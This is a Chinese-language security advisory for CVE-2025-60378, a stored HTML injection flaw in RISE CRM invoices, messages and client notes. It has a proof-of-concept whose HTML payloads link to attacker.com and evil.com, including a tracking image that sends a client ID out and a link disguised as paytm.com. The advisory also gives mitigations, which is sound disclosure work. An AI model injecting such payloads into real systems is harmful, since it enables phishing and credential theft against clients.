CVE-2025-60378：RISE Ultimate Project Manager & CRM 中的存储型 HTML 注入漏洞

⚠️ 安全公告
影响发票、消息传递和自动化通信的关键存储型 HTML 注入漏洞

📋 概述

在 RISE Ultimate Project Manager & CRM 中发现了一个关键的存储型 HTML 注入漏洞，该漏洞允许已认证用户将恶意 HTML 注入到发票行项目、客户备注和消息传递模块中。这些注入的内容会持久化存储在数据库中，并自动在面向客户的电子邮件、PDF 和聊天通信中渲染，从而能够发起大规模网络钓鱼攻击、商业电子邮件入侵以及基于电子邮件/PDF 的恶意软件投递。

🎯 受影响版本

• 产品： RISE - Ultimate Project Manager & CRM
• 受影响版本： < 3.9.4
• 修复版本： 3.9.4+

🔍 漏洞详情

描述

RISE CRM 未能正确清理和编码多个用户可编辑字段（包括发票、消息和客户备注）中的 HTML 内容。当已认证用户将 HTML 载荷注入这些字段时，内容会在没有充分过滤的情况下存储到数据库中。随后，这些恶意 HTML 会在没有适当转义的情况下自动渲染到面向客户的电子邮件、PDF 附件和消息/聊天模块中。定期发票和自动化消息传递会通过同时向多个收件人分发恶意内容来放大攻击影响。

受影响组件

• ✗ 发票行项目（描述字段）
• ✗ 客户备注/消息传递模块
• ✗ 聊天和消息传递系统
• ✗ 客户对账单生成模块
• ✗ 自动化电子邮件系统（定期发票、提醒）
• ✗ PDF 附件

根本原因

• ❌ 发票、消息和客户备注字段的输入清理不足
• ❌ 电子邮件模板和 PDF 生成中缺少 HTML 输出编码
• ❌ 存储到数据库前未进行内容验证
• ❌ 客户通信中缺乏对 HTML/JavaScript 的限制
• ❌ 自动化系统在未进行额外过滤的情况下分发未经验证的内容

💥 影响

安全影响

• 🎣 大规模网络钓鱼： 注入的内容可以冒充合法通信，并将多个客户重定向到攻击者控制的网站
• 💼 商业电子邮件入侵： 发送给客户的恶意发票和消息看似来自可信来源
• 💬 消息传递受损： 聊天/消息传递中的恶意载荷直接到达团队成员和客户
• 🦠 恶意软件分发： 嵌入的恶意链接或 iframe 通过电子邮件/PDF/消息传递投递恶意软件
• 🔄 自动化攻击分发： 定期发票和自动化消息确保载荷无需人工干预即可到达多个收件人
• 👥 多向量攻击： 电子邮件、PDF 和消息传递攻击面的组合提高了成功入侵率

CIA 三元组评估

真实世界攻击场景

场景 1：基于发票的网络钓鱼活动

具有低权限项目经理访问权限的攻击者创建包含恶意 HTML 的发票：

<a href="https://attacker.com/fake-payment">Click here to view payment status</a>

该发票通过自动化电子邮件发送给 100+ 客户。所有客户都会收到看似合法的发票，并被引导至钓鱼网站。攻击者同时从多个受害者处获取凭据。

场景 2：基于消息传递的攻击

攻击者将恶意 HTML 注入客户消息：

<img src="https://attacker.com/track.gif?user=CLIENT_ID">
<a href="https://malware.com">Download Updated Project Files</a>

所有团队成员和客户都会在聊天中收到该消息，点击链接下载恶意软件。

场景 3：定期发票恶意软件投递

攻击者设置带有恶意软件投递载荷的定期发票。每个月，客户都会自动收到包含嵌入恶意内容的发票，提供持续的攻击向量。

🧪 概念验证

环境设置

• 具有发票/消息创建权限的 RISE CRM 管理面板访问权限
• 任何 3.9.4 之前的版本

PoC 步骤

步骤 1：访问发票或消息创建功能

导航至：RISE CRM 仪表板 → 发票/消息 → 新建

步骤 2：在描述/消息字段中注入 HTML 载荷

<a href="https://attacker.com">Click here to view invoice</a>

步骤 3：添加带重定向的恶意图片

<a href="https://evil.com" target="_blank">
  <img src="https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExbzg4OXRuZHd4MXF0bWNqa3BvN2pzbWdqMzRxZHc5bHJpbXpucHNtaSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/9PgvV8ale90lQwfQTZ/giphy.gif">
</a>

步骤 4：添加误导性样式载荷

<h1><font color=red>Visit Our New WebSite</font></h1>
<h3><mark><a href="https://evil.com">https://www.paytm.com/</a></mark></h3>

步骤 5：配置定期分发

• 保存记录
• 启用“定期”选项（如果发票/消息可用）
• 设置频率（每周、每月等）
• 系统自动发送给所有相关客户

步骤 6：验证攻击向量

• 检查客户电子邮件收件箱
• 检查客户消息/聊天
• 打开 PDF 附件
• 观察恶意 HTML 在所有渠道中的渲染情况

预期结果

✅ 注入的 HTML 在电子邮件、PDF 和消息传递中未经转义即可渲染 ✅ 链接可点击并重定向到攻击者网站 ✅ 图片从攻击者控制的服务器加载 ✅ 内容在所有未来的客户通信中持续存在 ✅ 定期分发自动到达多个收件人

🛡️ 缓解措施

对于最终用户

1. ✅ 立即升级： 更新至 RISE CRM v3.9.4 或更高版本
2. 🔍 审计所有记录： 检查最近的发票、消息和客户备注中是否有可疑的 HTML 内容
3. ⚠️ 通知客户： 如果发送了可疑的发票或消息，请提醒所有客户
4. 🔄 重置凭据： 建议点击过链接的客户更改密码
5. 📝 监控活动： 检查审计日志中是否有未经授权的发票/消息修改
6. 🔐 禁用定期功能： 在修补完成前暂时禁用定期发票/消息

📚 参考资料

• CWE-79：网页生成过程中输入的不当中和
• OWASP：跨站脚本（XSS）
• OWASP：HTML 注入
• OWASP：输出编码
• CVE-2025-60378 官方条目

📅 时间线

👤 致谢

发现者： Ajansha Shankar

LinkedIn： https://www.linkedin.com/in/ajansha-shankar/

📊 CVSS v3.1 评估

向量： CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

评分： 8.1（高）

详细说明：

• 攻击向量（AV:N）： 网络 - 可远程利用
• 攻击复杂度（AC:L）： 低 - 无需特殊条件
• 所需权限（PR:L）： 低 - 需要具有基本项目经理权限的已认证用户
• 用户交互（UI:N）： 无 - 无需用户交互；自动化系统分发载荷
• 影响范围（S:U）： 不变 - 影响仅限于易受攻击的组件
• 机密性（C:H）： 高 - 可能通过网络钓鱼向多个客户窃取凭据
• 完整性（I:H）： 高 - 恶意内容可被注入并投递给多个收件人
• 可用性（A:N）： 无 - 对系统可用性无影响

📧 联系方式

如有问题或需要更多信息：

• LinkedIn： https://www.linkedin.com/in/ajansha-shankar/

⭐ 如果这项研究对您有帮助，请考虑为本仓库加星！

🔔 保持关注： 关注本仓库以获取此研究及未来安全研究的最新动态。

• CVE-2025-60374 - Perfex CRM Chatbot 中的存储型 XSS
• CVE-2025-55903 - Perfex CRM 发票中的存储型 HTML 注入
• CVE-2025-60375 - Perfex CRM 中的认证绕过